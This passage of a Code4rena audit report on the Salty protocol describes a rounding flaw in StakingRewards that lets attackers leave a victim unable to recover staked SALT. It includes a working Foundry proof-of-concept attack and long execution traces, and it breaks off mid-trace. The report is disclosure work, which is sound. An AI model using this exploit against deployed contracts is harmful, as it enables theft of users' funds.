[3.353e23]) │ │ ├─ emit incrementedBurnableUSDS(newTotal: 335375000000000000000000 [3.353e23]) │ │ └─ ← () │ ├─ emit Liquidation(liquidator: 0x0000000000000000000000000000000000002222, liquidatee: 0x0000000000000000000000000000000000001111, reclaimedWBTC: 1000000000 [1e9], reclaimedWETH: 200000000000000000000 [2e20], originallyBorrowedUSDS: 335375000000000000000000 [3.353e23]) │ └─ ← () ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000037adae426bf68e980000000000000000000000000000000000000000000000000000000000000000001c4c6f73732068616e646c6564206279207468652070726f746f636f6c00000000) [staticcall] │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 10.71s
Manual review
Disabling the cooldown when descreasing the shares inside liquidation function. This should not lead to any type of advantage for any user because this mechanism is only used to avoid reward sniping.
function liquidateUser( address wallet ) external nonReentrant { require( wallet != msg.sender, "Cannot liquidate self" ); // First, make sure that the user's collateral ratio is below the required level require( canUserBeLiquidated(wallet), "User cannot be liquidated" ); uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID ); // Withdraw the liquidated collateral from the liquidity pool. // The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract. (uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] ); // Decrease the user's share of collateral as it has been liquidated and they no longer have it. - _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); + _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false ); // The caller receives a default 5% of the value of the liquidated collateral. uint256 rewardPercent = stableConfig.rewardPercentForCallingLiquidation(); uint256 rewardedWBTC = (reclaimedWBTC * rewardPercent) / 100; uint256 rewardedWETH = (reclaimedWETH * rewardPercent) / 100; // Make sure the value of the rewardAmount is not excessive uint256 rewardValue = underlyingTokenValueInUSD( rewardedWBTC, rewardedWETH ); // in 18 decimals uint256 maxRewardValue = stableConfig.maxRewardValueForCallingLiquidation(); // 18 decimals if ( rewardValue > maxRewardValue ) { rewardedWBTC = (rewardedWBTC * maxRewardValue) / rewardValue; rewardedWETH = (rewardedWETH * maxRewardValue) / rewardValue; } // Reward the caller wbtc.safeTransfer( msg.sender, rewardedWBTC ); weth.safeTransfer( msg.sender, rewardedWETH ); // Send the remaining WBTC and WETH to the Liquidizer contract so that the tokens can be converted to USDS and burned (on Liquidizer.performUpkeep) wbtc.safeTransfer( address(liquidizer), reclaimedWBTC - rewardedWBTC ); weth.safeTransfer( address(liquidizer), reclaimedWETH - rewardedWETH ); // Have the Liquidizer contract remember the amount of USDS that will need to be burned. uint256 originallyBorrowedUSDS = usdsBorrowedByUsers[wallet]; liquidizer.incrementBurnableUSDS(originallyBorrowedUSDS); // Clear the borrowedUSDS for the user who was liquidated so that they can simply keep the USDS they previously borrowed. usdsBorrowedByUsers[wallet] = 0; _walletsWithBorrowedUSDS.remove(wallet); emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS); }
If this protection would have been disabled, Bob could have been able to liquidate Alice before her position become undercollateralized.
Timing
#0 - c4-judge
2024-01-31T22:42:07Z
Picodes marked the issue as duplicate of #891
#1 - c4-judge
2024-02-21T16:13:09Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:14:00Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: Udsen
Also found by: 0xfave, Banditx0x, DanielArmstrong, Draiakoo, J4X, Jorgect, ether_sky, santiellena, stackachu
39.6242 USDC - $39.62
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L81
When calculating the virtual rewards and the total rewards when increasing shares in StakeRewards
, the calculaculation rounds up:
uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );
That could be thought to be in favour of the protocol, however, it can account rewards that are not actually inside the contract. As a result, someone can claim rewards that are basically discounted form other staker balances.
Check the Proof of concept
Setup:
contract TestComprehensive1 is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); address public constant delta = address(0x4444); function setUp() public { vm.startPrank(DEPLOYER); salt = new Salt(); vm.stopPrank(); vm.startPrank(DEPLOYER); daoConfig = new DAOConfig(); poolsConfig = new PoolsConfig(); IStakingConfig stakingConfig2 = new StakingConfig(); usds = new USDS(); managedTeamWallet = new ManagedWallet(teamWallet, teamConfirmationWallet); exchangeConfig = new ExchangeConfig(salt, wbtc, weth, dai, usds, managedTeamWallet ); priceAggregator = new PriceAggregator(); liquidizer = new Liquidizer(exchangeConfig, poolsConfig); pools = new Pools(exchangeConfig, poolsConfig); staking = new Staking( exchangeConfig, poolsConfig, stakingConfig2 ); accessManager = new AccessManager(dao); exchangeConfig.setAccessManager(accessManager); vm.stopPrank(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); }
Proof of Concept:
function testAttackStakingWrongAccounting() public { bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = bytes32(0); address victim = alice; address attackerAccount1 = bob; address attackerAccount2 = charlie; vm.startPrank(DEPLOYER); salt.transfer(victim, 100 ether); salt.transfer(attackerAccount1, 100 ether + 1); salt.transfer(attackerAccount2, 100 ether); vm.stopPrank(); // Victim stakes 100 SALT vm.startPrank(victim); salt.approve(address(staking), 100 ether); staking.stakeSALT(100 ether); vm.stopPrank(); viewResults("Victim stakes 100 SALT"); // Attacker stakes 100 SALT and adds 1 single unit of SALT rewards with his account 1 vm.startPrank(attackerAccount1); salt.approve(address(staking), 100 ether); staking.stakeSALT(100 ether); addSaltRewards(1); vm.stopPrank(); viewResults("Attacker stakes 100 SALT and adds 1 reward"); // Attacker stakes 100 SALT, immediately unstakes and cancelsUnstake with his account 2 vm.startPrank(attackerAccount2); salt.approve(address(staking), 100 ether); staking.stakeSALT(100 ether); uint256 unstakeID = staking.unstake(100 ether, 52); staking.cancelUnstake(unstakeID); vm.stopPrank(); viewResults("Attacker2 updates his virtual rewards"); // At this point there are not enough funds to return to stakers if they unstake entirely // So if the attacker unstakes both amounts before the victim, the victim will not be able // to recover the staked SALT because the contract will not have enough funds vm.startPrank(attackerAccount1); uint256 attackerAccount1ID = staking.unstake(100 ether, 52); vm.stopPrank(); vm.startPrank(attackerAccount2); uint256 attackerAccount2ID = staking.unstake(100 ether, 52); vm.stopPrank(); vm.startPrank(victim); uint256 victimID = staking.unstake(100 ether, 52); vm.stopPrank(); skip(53 weeks); vm.startPrank(attackerAccount1); staking.recoverSALT(attackerAccount1ID); vm.stopPrank(); vm.startPrank(attackerAccount2); staking.recoverSALT(attackerAccount2ID); vm.stopPrank(); // The victim will not be able to recover his SALT vm.startPrank(victim); vm.expectRevert(); staking.recoverSALT(victimID); vm.stopPrank(); }
Output traces:
Running 1 test for src/scenario_tests/StakingPoCTests.t.sol:TestComprehensive1 [PASS] testAttackStakingWrongAccounting() (gas: 1030472) Logs: ----------------------------- Victim stakes 100 SALT Current total rewards 0 Current staking SALT balance 100000000000000000000 Alice SALT balance 0 Bob SALT balance 100000000000000000001 Charlie SALT balance 100000000000000000000 Total shares 100000000000000000000 Alice shares 100000000000000000000 Bob shares 0 Charlie shares 0 ----------------------------- ----------------------------- Attacker stakes 100 SALT and adds 1 reward Current total rewards 1 Current staking SALT balance 200000000000000000001 Alice SALT balance 0 Bob SALT balance 0 Charlie SALT balance 100000000000000000000 Total shares 200000000000000000000 Alice shares 100000000000000000000 Bob shares 100000000000000000000 Charlie shares 0 ----------------------------- ----------------------------- Attacker2 updates his virtual rewards Current total rewards 3 Current staking SALT balance 300000000000000000001 Alice SALT balance 0 Bob SALT balance 0 Charlie SALT balance 0 Total shares 300000000000000000000 Alice shares 100000000000000000000 Bob shares 100000000000000000000 Charlie shares 100000000000000000000 ----------------------------- Traces: [1034684] TestComprehensive1::testAttackStakingWrongAccounting() ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [29734] Salt::transfer(0x0000000000000000000000000000000000001111, 100000000000000000000 [1e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 100000000000000000001 [1e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 100000000000000000001 [1e20]) │ └─ ← true ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000003333, 100000000000000000000 [1e20]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000003333, value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [82572] Staking::stakeSALT(100000000000000000000 [1e20]) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20]) │ ├─ [22025] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 100000000000000000000 [1e20]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] console::log(Victim stakes 100 SALT) [staticcall] │ └─ ← () ├─ [3316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [0] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall] │ └─ ← 100000000000000000000 [1e20] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 100000000000000000001 [1e20] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall] │ └─ ← 100000000000000000000 [1e20] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log( ) [staticcall] │ └─ ← () ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [3532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [0] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [3532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [0] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [32952] Staking::stakeSALT(100000000000000000000 [1e20]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 100000000000000000000 [1e20]) │ └─ ← () ├─ [22504] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1) │ └─ ← true ├─ [26968] Staking::addSALTRewards([(0x0000000000000000000000000000000000000000000000000000000000000000, 1)]) │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit SaltRewardsAdded(poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountAdded: 1) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1) │ │ └─ ← true │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] console::log(Attacker stakes 100 SALT and adds 1 reward) [staticcall] │ └─ ← () ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [1] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall] │ └─ ← 200000000000000000001 [2e20] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000ad78ebc5ac6200001000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall] │ └─ ← 100000000000000000000 [1e20] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log( ) [staticcall] │ └─ ← () ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [200000000000000000000 [2e20]] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000ad78ebc5ac6200000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [0] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ └─ ← true ├─ [33128] Staking::stakeSALT(100000000000000000000 [1e20]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000003333) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000003333) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000003333, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000003333, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000003333, amountStaked: 100000000000000000000 [1e20]) │ └─ ← () ├─ [138169] Staking::unstake(100000000000000000000 [1e20], 52) │ ├─ [2306] StakingConfig::minUnstakeWeeks() [staticcall] │ │ └─ ← 2 │ ├─ [2307] StakingConfig::maxUnstakeWeeks() [staticcall] │ │ └─ ← 52 │ ├─ [2351] StakingConfig::minUnstakePercent() [staticcall] │ │ └─ ← 20 │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 0) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000003333, unstakeID: 0, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52) │ └─ ← 0 ├─ [28144] Staking::cancelUnstake(0) │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20]) │ ├─ emit UnstakeCancelled(user: 0x0000000000000000000000000000000000003333, unstakeID: 0) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] console::log(Attacker2 updates his virtual rewards) [staticcall] │ └─ ← () ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [3] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall] │ └─ ← 300000000000000000001 [3e20] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000001043561a8829300001000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall] │ └─ ← 0 ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log( ) [staticcall] │ └─ ← () ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [300000000000000000000 [3e20]] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000001043561a8829300000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [100000000000000000000 [1e20]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] console::log(-----------------------------) [staticcall] │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [171998] Staking::unstake(100000000000000000000 [1e20], 52) │ ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall] │ │ └─ ← 2 │ ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall] │ │ └─ ← 52 │ ├─ [351] StakingConfig::minUnstakePercent() [staticcall] │ │ └─ ← 20 │ ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000002222, 1) │ │ ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000002222, value: 1) │ │ └─ ← true │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 1) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000002222, unstakeID: 1, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52) │ └─ ← 1 ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) │ └─ ← () ├─ [125669] Staking::unstake(100000000000000000000 [1e20], 52) │ ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall] │ │ └─ ← 2 │ ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall] │ │ └─ ← 52 │ ├─ [351] StakingConfig::minUnstakePercent() [staticcall] │ │ └─ ← 20 │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 0) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000003333, unstakeID: 2, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52) │ └─ ← 2 ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ 